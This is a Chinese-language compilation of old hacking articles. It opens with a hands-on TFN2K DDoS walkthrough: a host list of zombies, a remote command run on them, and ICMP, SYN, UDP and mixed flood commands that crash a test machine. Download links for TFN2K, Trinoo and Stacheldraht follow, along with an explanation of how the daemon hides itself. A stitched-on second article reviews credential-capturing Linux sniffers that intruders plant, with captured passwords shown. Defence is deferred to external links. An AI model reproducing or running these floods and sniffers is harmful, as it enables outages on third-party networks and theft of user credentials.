文件第一行输入:192.168.111.1
文件第二行输入:192.168.111.2
文件第三行输入:192.168.111.3
这就是控制文件列表。

然后我们测试一下连接。
在192.168.111.55上。。。

下面的命令意思是:在hosts.txt文件中的机器上执行远程命令“mkdir jjgirl”,其中-c 10表示执行远程
命令。执行完这个命令就会在那三台机器上都建立jjgirl目录。当然你可以随便执行其他的命令。
#./tfn -f hosts.txt -c 10 -i "mkdir jjgirl" 
Protocol : random
Source IP : random
Client input : list
Command : execute remote command

Password verification: (这时我们输入密码:aaaabbbb)
Sending out packets: .
好了,完成。
然后我们在192.168.111.1上执行:
#find / -name jjgirl -print
好,找到了。说明我们连接成功。。。
下面开始正式攻击了。。。
你可以在192.168.111.1上:
#./ntop
运行ntop查看流量。

先来ICMP攻击
#./tfn -f hosts.txt -c 6 -i 192.168.111.88(十分钟,192.168.111.88就死机了)
重启,接着测试。。。

SYN/TCP攻击:
#./tfn -f hosts.txt -c 5 -i 192.168.111.88 -p 80
UDP攻击:

#./tfn -f hosts.txt -c 4 -i 192.168.111.88

ICMP/TCP/UDP轮流攻击:

#./tfn -f hosts.txt -c 8 -i 192.168.111.88
 

5。攻击结束
    如果我们想停止攻击:
#./tfn -f host.txt -c 0
实际tfn还有许多攻击选项,大家可以再回头看我的第一篇文章,看一下-c后面的11个选项。

    

    整个测试结束。由于我是在局域网测试速度比较快。实际对yahoo等攻击时至少有几十台机器吧。

    好了,下一篇文章主要分析tfn的源代码,有兴趣的同学接着等。。。
                                           jjgirl
 10.29.2000
                                           
jjgirl@363.net
                                           
http://jjgirl.yeah.net
下载地址: 
http://darknet.evilnerds.org/dos/ddos/tfn2k.tgz

http://packetstorm.securify.com/distributed/TFN2k_Analysis-1.3.txt

http://packetstorm.securify.com/distributed/tfn.analysis.txt

backend已经翻译过(本文最后给出了链接),佳佳就不做太多重复劳动了。


先介绍一下DDoS攻击的原理:
    DDoS把DoS又向前发展了一步,DDoS的行为更为自动化,它可以方便地协调从多台计算机上启动的
进程,让一股DoS洪流冲击网络,并使网络因过载而崩溃。确切地讲,DDoS攻击是指在不同的高带宽主机上
安装大量的DoS服务程序,它们等待来自中央客户端的命令,中央客户端随后通知全体受控服务程序,并批
示它们对一个特定目标发送尽可能多的网络访问请求。  
    对DoS而言,其攻击方式很多,主要使用的攻击有4种,分别是TCP-SYN flood,UDP flood,ICMP
 flood,smurf。 

TCP— 当用户进行一次标准的TCP连接时,会有一个3次握手过程。首先是请求服务方发送一个SYN消息,
服务方收到SYN后,会向请求方回送一个SYN-ACK表示确认,当请求方收到SYN-ACK后,再次向服务方发送一
个ACK消息,这样,一次TCP连接建立成功。但是TCP-SYN flood在实现过程中只进行前2个步骤:当服务方
收到请求方的SYN-ACK确认消息后,请求方由于采用源地址欺骗等手段使得服务方收不到ACK回应,于是,
服务方会在一定时间处于等待接收请求方ACK消息的状态。对于某台服务器来说,可用的TCP连接是有限的
,如果恶意攻击方快速连续地发送此类连接请求,该服务器可用的TCP连接队列将很快被阻塞,系统可用资
源急剧减少,网络可用带宽迅速缩小,长此下去,网络将无法向用户提供正常的服务。 

UDP—- 由于UDP(用户数据包协议)在网络中的应用比较广泛,基于UDP攻击种类也较多。如今在
Internet上提供WWW和Mail等服务设备通常是使用Unix的服务器,它们默认一些被恶意利用的UDP服务,如
echo和chargen服务,它会显示接收到的每一个数据包,而原本作为测试功能的chargen服务会在收到每一
个数据包时随机反馈一些字符,如果恶意攻击者将这2个UDP服务互指,则网络可用带宽将很快耗尽。 

ICMP—-由于在早期的阶段,路由器对包的最大尺寸都有限制,许多操作系统对TCP/IP栈的实现在ICMP包
上都是规定64KB,并且在对包的标题头进行读取之后,要根据该标题头里包含的信息来为有效载荷生成缓
冲区,当产生畸形的,声称自己的尺寸超过ICMP上限的包也就是加载的尺寸超过64K上限时,就会出现内存
分配错误,导致TCP/IP堆栈崩溃,致使接受方当机。如果对方的操作系统已经可以防御堆栈崩溃,也占去
许多带宽。

Smurf—-一个简单的smurf攻击通过使用将回复地址设置成受害网络的广播地址的ICMP应答请求(ping)
数据包来淹没受害主机的方式进行,最终导致该网络的所有主机都对此ICMP应答请求作出答复,导致网络
阻塞,比ping of death洪水的流量高出一或两个数量级。更加复杂的Smurf将源地址改为第三方的受害
者,最终导致第三方雪崩。

tfn2k的程序及分析:
在你执行
$tar zxvf tfn2k.tgz
以后
在src目录下就是源文件,
其中主要的两个文件就是tfn.c和td.c
你可以看一下Makefile文件
SERVER_OBJ = pass.o aes.o base64.o cast.o flood.o ip.o process.o tribe.o td.o
CLIENT_OBJ = pass.o aes.o base64.o cast.o ip.o tribe.o tfn.o
可以看出tfn和td各是由哪些.o链接而成的。

tfn.c:

tfn和td的网络通讯是经过CAST-256算法(RFC 2612)加密,还可能混杂了许多虚假数据包。参看
security_through_obscurity()和encode64()等函数。

尽管tfn没有密码保护,每一个发送给td的命令都有一个16位二进制形式的数在ICMP_ECHOREPLY包的id域。
这个序列号通常是0×0000,这样看起来更象ping初始包的响应。参看passchk()函数。

tfn_sendto()函数是根据hosts.txt向td发命令。

usage()函数是使用帮助。

td.c:

td的守护程序是完全沉默的,它不会对接收到的命令有任何回应。客户端重复发送每一个命令20次
(RETRY=20),并且认为守护程序应该至少能接收到其中一个。如果没有接收到需要重新发送,你也可以修
改RETRY(tfn.c文件中)的值。

守护进程为每一个攻击产生子进程(td.c文件中)。

在看td.c文件时有些迷惑,它作为服务器端并没有绑定固定的端口,后来才明白从tfn到td的通讯是通过
ICMP_ECHOREPLY数据包完成,这样在tfn和td就没有任何基于TCP或UDP的通讯了。


td试图通过修改argv[0]内容以掩饰自己。伪造的进程名在编译时指定,因此每次安装时都有可能不同。这
个功能使TFN2K伪装成代理端主机的普通正常进程。只是简单地检查进程列表未必能找到td(及其子进程)
,在你运行
#./td
以后,在运行
#ps -af
可能根本就找不到td.(不要以为它没有运行啊!)。

td.c的tribe_cmd()是根据id(0–10)执行命令,它要调用process.c中的函数。

process.c中的commerce_syn(),commerce_udp(),commerce_icmp(),commerce_mix(),commerce_smurf()等
函数就是发动攻击的具体程序,根据id(0–11)分别对应着tcp,udp,icmp,mix,smurf等攻击。


防御措施:

见下列链接文章,我就不重复了。

其它DDoS工具

 1. Trinoo: 它是基于UDP flood的攻击软件,它向被攻击目标主机的随机端口发出全零的4字节UDP
包,在处理这些超出其处理能力垃圾数据包的过程中,被攻击主机的网络性能不断下降,直到不能提供正
常服务,乃至崩溃,它对IP地址不做假,此攻击方法用得不如TFN多。 

下载地址:http://darknet.evilnerds.org/dos/ddos/trinoo.tar.gz
 2. Stacheldraht:对命令来源做假,而且可以防范一些路由器用RFC2267过滤。若检查出有过滤现象
,它将只做假IP地址最后8位,从而让用户无法了解到底是哪几个网段的哪台机器被攻击。此外,它还具有
自动更新功能,可随软件的更新而自动更新。 

下载地址:http://darknet.evilnerds.org/dos/ddos/stachel-yps.tar.gz

  关于TFN2K的探讨就此结束,其实许多前辈都撰文写过此类的文章。我只是参考他们的文章(中
文或英文),并细节化了一些。如果有指教或有问题请来信jjgirl@sina.com或在我的BBS留言。感谢你耐心
看完佳佳写的不怎么样的文章。


1.概述

  本文对Linux环境下黑客常常使用的几种嗅探器进行详细的分析,这些嗅探器往往被入侵者完成入侵以后种植在受害者服务器当中。这些嗅探器各自有不同的特点,有的只是简单的用来捕捉用户名和密码,有的则非常强大可记录所有的网络数据流。本文将对下面几种嗅探器进行分析:

linsniffer
linuxsniffer
hunt
sniffit
2.linsniffer

  linsniffer是一个简单实用的嗅探器。它主要的功能特点是用来捕捉用户名和密码,它在这方面非常出色。

  作者:Mike Edulla
  条件: C和IP头文件
  配置文件:无
  位置: http://agape.trilidun.org/hack/network-sniffers/linsnifferc
  安全历史: 无

  注: 易于使用。但是lnsniffer需要完整的IP头文件,包括常常存储在/usr/include/net和 /usr/include/netinet的头文件,在编译前确保PATH变量包含/usr/include。

  使用下面的命令来编译lnsniffer:

  $cc linsniffer.c -o linsniffer

  要运行linsniffer,使用下面的命令:

  $linsniffer

  启动以后linsniffer将创建一个空文件:tcp.log来存储嗅探结果。

  在测试中我创建一个名为hapless的用户,密码为unaware。然后使用该用户来登录Linux服务器,并进行一些常见的用户操作。下面是进行的一次ftp过程:

  GNSS $ ftp 192.168.0.2
  Connected to 192.168.0.2.

  220 linux.test.net FTP server Wed Aug 19 02:55:52 MST 1998) ready.

  Name (192.168.0.2:root): hapless
  331 Password required for hapless.
  Password:
  230 User hapless logged in.
  Remote system type is UNIX.
  Using binary mode to transfer files.
  ftp> ls -al
  200 PORT command successful.
  150 Opening ASCII mode data connection for /bin/ls.
  total 14
  drwxrwxr-x 4 hapless hapless 1024 May 20 19:35 .
  drwxr-xr-x 6 root root 1024 May 20 19:28 ..
  -rw-rw-r– 1 hapless hapless 96 May 20 19:56 .bash_history
  -rw-r–r– 1 hapless hapless 49 Nov 25 1997 .bash_logout
  -rw-r–r– 1 hapless hapless 913 Nov 24 1997 .bashrc
  -rw-r–r– 1 hapless hapless 650 Nov 24 1997 .cshrc
  -rw-r–r– 1 hapless hapless 111 Nov 3 1997 .inputrc
  -rwxr-xr-x 1 hapless hapless 186 Sep 1 1998 .kshrc
  -rw-r–r– 1 hapless hapless 392 Jan 7 1998 .login
  -rw-r–r– 1 hapless hapless 51 Nov 25 1997 .logout
  -rw-r–r– 1 hapless hapless 341 Oct 13 1997 .profile
  -rwxr-xr-x 1 hapless hapless 182 Sep 1 1998 .profile.ksh
  drwxr-xr-x 2 hapless hapless 1024 May 14 12:16 .seyon
  drwxr-xr-x 3 hapless hapless 1024 May 14 12:15 lg
  226 Transfer complete.
  ftp> ls
  200 PORT command successful.
  150 Opening ASCII mode data connection for /bin/ls.
  total 14
  drwxrwxr-x 4 hapless hapless 1024 May 20 19:35 .
  drwxr-xr-x 6 root root 1024 May 20 19:28 ..
  -rw-rw-r– 1 hapless hapless 96 May 20 19:56 .bash_history
  -rw-r–r– 1 hapless hapless 49 Nov 25 1997 .bash_logout
  -rw-r–r– 1 hapless hapless 913 Nov 24 1997 .bashrc
  -rw-r–r– 1 hapless hapless 650 Nov 24 1997 .cshrc
  -rw-r–r– 1 hapless hapless 111 Nov 3 1997 .inputrc
  -rwxr-xr-x 1 hapless hapless 186 Sep 1 1998 .kshrc
  -rw-r–r– 1 hapless hapless 392 Jan 7 1998 .login
  -rw-r–r– 1 hapless hapless 51 Nov 25 1997 .logout
  -rw-r–r– 1 hapless hapless 341 Oct 13 1997 .profile
  -rwxr-xr-x 1 hapless hapless 182 Sep 1 1998 .profile.ksh
  drwxr-xr-x 2 hapless hapless 1024 May 14 12:16 .seyon
  drwxr-xr-x 3 hapless hapless 1024 May 14 12:15 lg
  226 Transfer complete.
  ftp> ls -F
  200 PORT command successful.
  150 Opening ASCII mode data connection for /bin/ls.
  total 14
  drwxrwxr-x 4 hapless hapless 1024 May 20 19:35 ./
  drwxr-xr-x 6 root root 1024 May 20 19:28 ../
  rw-rw-r– 1 hapless hapless 96 May 20 19:56 .bash_history
  -rw-r–r– 1 hapless hapless 49 Nov 25 1997 .bash_logout
  -rw-r–r– 1 hapless hapless 913 Nov 24 1997 .bashrc
  -rw-r–r– 1 hapless hapless 650 Nov 24 1997 .cshrc
  -rw-r–r– 1 hapless hapless 111 Nov 3 1997 .inputrc
  -rwxr-xr-x 1 hapless hapless 186 Sep 1 1998 .kshrc*
  -rw-r–r– 1 hapless hapless 392 Jan 7 1998 .login
  -rw-r–r– 1 hapless hapless 51 Nov 25 1997 .logout
  -rw-r–r– 1 hapless hapless 341 Oct 13 1997 .profile
  -rwxr-xr-x 1 hapless hapless 182 Sep 1 1998 .profile.ksh*
  drwxr-xr-x 2 hapless hapless 1024 May 14 12:16 .seyon/
  drwxr-xr-x 3 hapless hapless 1024 May 14 12:15 lg/
  226 Transfer complete.
  ftp> cd lg
  250 CWD command successful.
  ftp> ls -F
  200 PORT command successful.
  150 Opening ASCII mode data connection for /bin/ls.
  total 8
  drwxr-xr-x 3 hapless hapless 1024 May 14 12:15 ./
  drwxrwxr-x 4 hapless hapless 1024 May 20 19:35 ../
  rw-r–r– 1 hapless hapless 70 Aug 22 1998 lg3_colors
  -rw-r–r– 1 hapless hapless 629 Aug 22 1998 lg3_prefs
  -rw-r–r– 1 hapless hapless 728 Aug 22 1998 lg3_soundPref
  -rw-r–r– 1 hapless hapless 2024 Aug 22 1998 lg3_startup
  drwxr-xr-x 2 hapless hapless 1024 May 14 12:15 lg_layouts/
  226 Transfer complete.
  ftp> cd lg_layouts
  250 CWD command successful.

  这是一个典型的用户操作过程。现在我们看看linsniffer产生的嗅探结果:

  gnss => linux.test.net [21]
  USER hapless
  PASS unaware
  SYST
  PORT 172,16,0,1,4,192
  LIST -al
  PORT 172,16,0,1,4,193
  LIST
  PORT 172,16,0,1,4,194
  LIST -F
  CWD lg
  PORT 172,16,0,1,4,195
  LIST -F

  输出的内容是很直观的。首先它记录这是从GNSS到Linux主机的FTP连接:

  gnss => linux.test.net [21]

  然后,linsniffer捕获了hapless的用户名和密码。

  USER hapless
  PASS unaware

  最后,linsniffer记录了hapless使用的每一个命令:

  SYST
  PORT 172,16,0,1,4,192
  LIST -al
  PORT 172,16,0,1,4,193
  LIST
  PORT 172,16,0,1,4,194
  LIST -F
  CWD lg
  PORT 172,16,0,1,4,195
  LIST -F

  输出结果非常简介并且非常适于窃听密码及记录常见的活动。但是不适合于进行更加复杂的分析。这时候你也许会需要linux_sniffe。

3.linux_sniffer

  linux_sniffer提供相对更复杂的探测结果。

  作者:loq
  要求:C和IP头文件
  配置文件:无
  下载位置: http://www.ryanspc.com/sniffers/linux_sniffer.c.
  安全历史:无

  注意:linux_sniffer易于使用,但是需要完全的IP头文件。

  使用下面命令编译linux_sniffer:

  $cc linux_sniffer.c -o linuxsniff

  下面是一次telnet会话过程,同时被linux_sniffer记录:

  GNSS 2# telnet 192.168.0.1
  Connected to 192.168.0.1.
  login: hapless
  password:
  [hapless@linux2 hapless]$ w
   19:55:29 up 58 min, 4 users, load average: 0.00, 0.00, 0.00
  USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
  root tty1 7:44pm 27.00s 0.17s 0.06s -bash
  root tty2 7:46pm 1:56 0.24s 0.01s linuxsniff
  root tty3 7:44pm 10:43 0.17s 0.07s -bash
  hapless ttyp0 gnss 7:55pm 1.00s 0.26s 0.04s w
  [hapless@linux2 hapless]$ who
  root tty1 May 20 19:44
  root tty2 May 20 19:46
  root tty3 May 20 19:44
  hapless ttyp0 May 20 19:55 (gnss)
  [hapless@linux2 hapless]$ finger -l
  Login: root Name: root
  Directory: /root Shell: /bin/bash
  On since Thu May 20 19:44 (PDT) on tty1 35 seconds idle
  On since Thu May 20 19:46 (PDT) on tty2 2 minutes 4 seconds idle
  On since Thu May 20 19:44 (PDT) on tty3 10 minutes 51 seconds idle
  No mail.
  No Plan.

  Login: hapless Name: Caldera OpenLinux User
  Directory: /home/hapless Shell: /bin/bash
  On since Thu May 20 19:55 (PDT) on ttyp0 from gnss
  No mail.
  No Plan.

  同样这是一次典型的登录过程:用户登录,检测哪些用户在登录等等。linux_sniffer记录额外的地址数据,但是同样记录了一些重要的数据。首先它记录了连接:

eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 ff fc 27 – ..’
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 ff fa 1f 00 50 00 28 ff – f0 ….P.(..
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 ff fa 20 00 33 38 34 30 – 30 2c 33 38 34 30 30 ff
.. .38400,38400.
0010 f0 ff fa 23 00 47 4e 53 – 53 3a 30 2e 30 ff f0 ff
…#.GNSS:0.0…
0020 fa 18 00 49 52 49 53 2d – 41 4e 53 49 2d 4e 45 54
…IRIS-ANSI-NET
0030 ff f0 – ..
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 ff fc 01 – …
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 ff fd 01 – …
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]

  随后,linux_sniffer记录了登录过程,下面用黑体表示:

eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 68 – h
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 61 – a
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 70 – p
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 6c – l
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 65 – e
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 73 – s
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 73 – s
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 0d 00 – ..
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 75 – u
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 6e – n
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 61 – a
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 77 – w
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 61 – a
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 72 – r
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 65 – e
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]

  最后,linux_sniffer记录了所有的命令:

eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 77 – w
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 0d 00 – ..
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 77 – w
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 68 – h
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 6f – o
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 0d 00 – ..
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 66 – f
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 69 – i
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 6e – n
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 67 – g
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 65 – e
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]
0000 72 – r
eth
proto: 080008:00:69:07:3e:db->00:e0:29:19:4a:68 192.168.0.1[1239] ->192.168.0.2[23]

  可以看到,linux_sniffer提供了相对更详细的内容。


4.hunt

  hunt在你需要易于读取的结果室的另外一种选择。它具有直观的命令追踪和会话监录功能。

  作者:Pavel Krauz
  条件: C, IP头, Linux 2.0.35+, 支持LinuxThreads的GlibC 2.0.7
  配置文件:无
  位置:http://www.cri.cz/kra/index.html
  安全历史:无

  注:作者提供有动态链接和静态连接的二进制发布。

  hunt是以tar.gz的格式发布的,文件名为hunt-1_3bin.tgz。首先需要解压缩:

  $tar xvfz hunt-1_3bin.tgz

  则hunt被解压缩到新创建的目录hunt-1.3种,包括以下内容:

  -rw-r–r– 1 206 users 1616 Apr 2 03:54 CHANGES
  -rw-r–r– 1 206 users 17983 Oct 25 1998 COPYING
  -rw-r–r– 1 206 users 312 Jan 16 04:54 INSTALL
  -rw-r–r– 1 206 users 727 Feb 21 11:22 Makefile
  -rw-r–r– 1 206 users 27373 Feb 15 12:44 README
  -rw-r–r– 1 206 users 167 Dec 4 14:29 TODO
  -rw-r–r– 1 206 users 5067 Feb 13 04:23 addpolicy.c
  -rw-r–r– 1 206 users 7141 Feb 21 23:44 arphijack.c
  -rw-r–r– 1 206 users 25029 Apr 2 03:26 arpspoof.c
  drwxr-xr-x 2 206 users 1024 Apr 9 02:03 c
  -rw-r–r– 1 206 users 7857 Nov 9 1998 hijack.c
  -rw-r–r– 1 206 users 5066 Dec 2 12:55 hostup.c
  -rwxr-xr-x 1 206 users 84572 Apr 9 02:03 hunt
  -rw-r–r– 1 206 users 24435 Apr 2 03:26 hunt.c
  -rw-r–r– 1 206 users 16342 Mar 30 01:56 hunt.h
  -rwxr-xr-x 1 206 users 316040 Apr 9 02:03 hunt_static
  -rw-r–r– 1 root root 265 May 20 22:22 huntdir.txt
  -rw-r–r– 1 root root 2517 May 20 22:19 huntlog.txt
  -rw-r–r– 1 206 users 6249 Feb 21 11:21 macdisc.c
  -rw-r–r– 1 206 users 12105 Feb 21 11:35 main.c
  -rw-r–r– 1 206 users 12000 Feb 6 02:27 menu.c
  -rw-r–r– 1 206 users 7432 Apr 2 03:53 net.c
  -rw-r–r– 1 206 users 5799 Feb 11 04:21 options.c
  -rw-r–r– 1 206 users 11986 Feb 14 04:59 resolv.c
  -rw-r–r– 1 206 users 1948 Oct 25 1998 rst.c
  -rw-r–r– 1 206 users 9545 Mar 30 01:48 rstd.c
  -rw-r–r– 1 206 users 21590 Apr 2 03:58 sniff.c
  -rw-r–r– 1 206 users 14466 Feb 21 12:04 synchijack.c
  -rw-r–r– 1 206 users 2692 Feb 19 00:10 tap.c
  -rw-r–r– 1 206 users 4078 Feb 15 05:31 timer.c
  -rw-r–r– 1 206 users 2023 Oct 25 1998 tty.c
  -rw-r–r– 1 206 users 7871 Feb 11 02:58 util.c

  静态二进制发布为hunt_static,推荐使用该版本,因为有时候从源代码编译可能会出现缺少一些库的错误。使用下面命令来执行hunt:

  $hunt_static

  运行hunt你将惊奇地发现hunt是基于curse的,因此有非常友好的交互界面。启动以后菜单如下所示:

  — Main Menu — rcvpkt 0, free/alloc 63/64 ——
  l/w/r) list/watch/reset connections
  u) host up tests
  a) arp/simple hijack (avoids ack storm if arp used)
  s) simple hijack
  d) daemons rst/arp/sniff/mac
  o) options
  x) exit
  * >

  在整个例子中,我将从GNSS登录到linux.test.net中进行测试。

  GNSS 3% telnet 192.168.0.2
  Trying 192.168.0.2…
  Connected to 192.168.0.2.
  Escape character is ‘^]’.
  
  Caldera OpenLinux(TM)
  Version 1.3
  Copyright 1996-1998 Caldera Systems, Inc.
  
  login:
  [hapless@linux hapless]$ finger root
  Login: root Name: root
  Directory: /root Shell: /bin/bash
  On since Thu May 20 21:57 (PDT) on tty1 1 minute idle
  On since Thu May 20 22:02 (PDT) on tty2 7 minutes 19 seconds idle
  On since Thu May 20 21:59 (PDT) on tty3 15 seconds idle
  No mail.
  No Plan.
  [hapless@linux hapless]$ last root
  root tty2 Thu May 20 22:02 still logged in
  root tty3 Thu May 20 21:59 still logged in
  root tty1 Thu May 20 21:57 still logged in
  root tty2 Thu May 20 19:46 – down (00:26)
  root tty1 Thu May 20 19:44 – 20:12 (00:27)
  root tty3 Thu May 20 19:44 – down (00:28)
  root tty3 Thu May 20 19:42 – 19:44 (00:01)
  root tty1 Thu May 20 19:41 – 19:42 (00:00)
  root tty3 Thu May 20 19:28 – 19:41 (00:12)
  root tty2 Thu May 20 19:11 – 19:42 (00:31)
  root tty1 Thu May 20 19:07 – 19:40 (00:32)
  root tty1 Thu May 20 18:57 – 19:07 (00:09)
  root tty1 Mon May 17 22:32 – down (00:29)

  最后检查了/etc/passwd,在整个过程中都运行有hunt进行嗅探:

  — Main Menu — rcvpkt 0, free/alloc 63/64 ——
  l/w/r) list/watch/reset connections
  u) host up tests
  a) arp/simple hijack (avoids ack storm if arp used)
  s) simple hijack
  d) daemons rst/arp/sniff/mac
  o) options
  x) exit
  *> w
  0) 192.168.0.1 [1049] –> 192.168.0.2 [23]
  choose conn> 0
  dump [s]rc/[d]st/[b]oth [b]> b

  注:上面的输入(黑色字体部分)指示hunt来记录0号连接,并输出源和目的信息。

  则hunt将显示hapless的所有活动信息到终端屏幕上:

  22:18:43 up 21 min, 4 users, load average: 0.00, 0.01, 0.00
  TRL-C to break
  hhaapplleessss
  Password: unaware
  [hapless@linux2 hapless]$ cclleeaarr
  [hapless@linux2 hapless]$ wwhhoo
  root tty1 May 20 21:57
  ww
  22:18:43 up 21 min, 4 users, load average: 0.00, 0.01, 0.00
  
  [hapless@linux2 hapless]$ mmoorree //eettcc//ppaasssswwdd
  root:x:0:0:root:/root:/bin/bash
  bin:x:1:1:bin:/bin:
  daemon:x:2:2:daemon:/sbin:
  adm:x:3:4:adm:/var/adm:
  lp:x:4:7:lp:/var/spool/lpd:
  sync:x:5:0:sync:/sbin:/bin/sync
  shutdown:x:6:11:shutdown:/sbin:/sbin/shutdown
  halt:x:7:0:halt:/sbin:/sbin/halt
  mail:x:8:12:mail:/var/spool/mail:
  news:x:9:13:news:/var/spool/news:
  uucp:x:10:14:uucp:/var/spool/uucp:
  operator:x:11:0:operator:/root:
  games:x:12:100:games:/usr/games:
  gopher:x:13:30:gopher:/usr/lib/gopher-data:
  ftp:x:14:50:FTP User:/home/ftp:
  man:x:15:15:Manuals Owner:/:
  majordom:x:16:16:Majordomo:/:/bin/false
  postgres:x:17:17:Postgres User:/home/postgres:/bin/bash
  nobody:x:65534:65534:Nobody:/:/bin/false
  anon:x:100:100:Anonymous:/home/anon:/bin/bash
  hapless:x:500:500:Caldera OpenLinux User:/home/hapless:/bin/bash
  [hapless@linux2 hapless]$

  可以的看到,hunt的输出非常直观明了,易于阅读。然而hunt还提供有以下工具:

允许指定任意一个感兴趣的连接,而不是记录所有的东西。
允许指定任意一个连接,而不仅仅是以SYN刚刚开始的连接。It offers spoofing tools.
